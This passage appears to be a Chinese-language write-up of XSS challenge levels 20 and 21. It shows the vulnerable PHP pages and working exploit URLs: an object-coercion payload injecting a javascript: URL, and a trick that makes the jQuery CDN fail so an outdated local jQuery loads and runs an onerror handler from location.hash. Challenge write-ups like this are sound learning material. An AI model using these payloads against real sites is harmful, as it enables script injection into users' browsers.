$hookid=str_replace("(","",$hookid);
$hookid=str_replace("`","",$hookid);
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script>
hookid='<?php echo $hookid;?>';
</script>
<body>
</body>
</html>
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss20.php?hookid=9527
IE exp
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss20.php?hookid='%2b{valueOf:location, toString:[].join,0:'javascript:alert%25281%2529',length:1}%2b'
ref: https://twitter.com/xssvector/status/213631832053395456
另外膜一下一血大佬用safari的0day做出來了.
21. 番外番 jquery
<?php
header("Content-Type:text/html;charset=utf-8");
header("X-Content-Type-Options: nosniff");
header("X-FRAME-OPTIONS: DENY");
header("X-XSS-Protection: 0");
?>
<html>
<head>
<meta charset="utf-8">
<script src="https://code.jquery.com/jquery-3.2.1.js" integrity="sha256-DZAnKJ/6XZ9si04Hgrsxu/8s717jcIzLy3oi35EouyE=" crossorigin="anonymous"></script>
<script>
window.jQuery || document.write('<script src="http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/jquery.js"><\/script>');
</script>
</head>
<body>
<script>
$(function(){
try { $(location.hash) } catch(e) {}
})
</script>
</body>
</html>
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss21.php
juqery高版本不適合一些低版本的瀏覽器,或者意外因素(中國網絡環境),cdn的jqeury可能會加載失敗,這時候就需要加載一下本地的jquery,本地加載的jquery版本為1.6.1
是存在漏洞
但是網絡環境不可控,為了穩定的讓受害者加載帶有漏洞的jquery,那么一定要讓cdn的jquery加載失敗~
只要請求遠程cdn時有某個header,比如說referrer,超出了cdn服務器所能接受的范圍,就會產生拒絕請求的現象,比如很長串的字符.
chrome Exp:
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss21.php?a=a....(中間省略9000個a)#<img src=1 onerror=alert(0)>
另外就是踩的一些坑
FF測試不成功,應該它對location.hash的操作,比如<還會url編碼
safai,空格會自動%20編碼
另外<svg/onload=alert(1)>操作不會成功,因為網頁是已經加載好了
ref: https://github.com/cure53/XSSChallengeWiki/wiki/XSSMas-Challenge-2016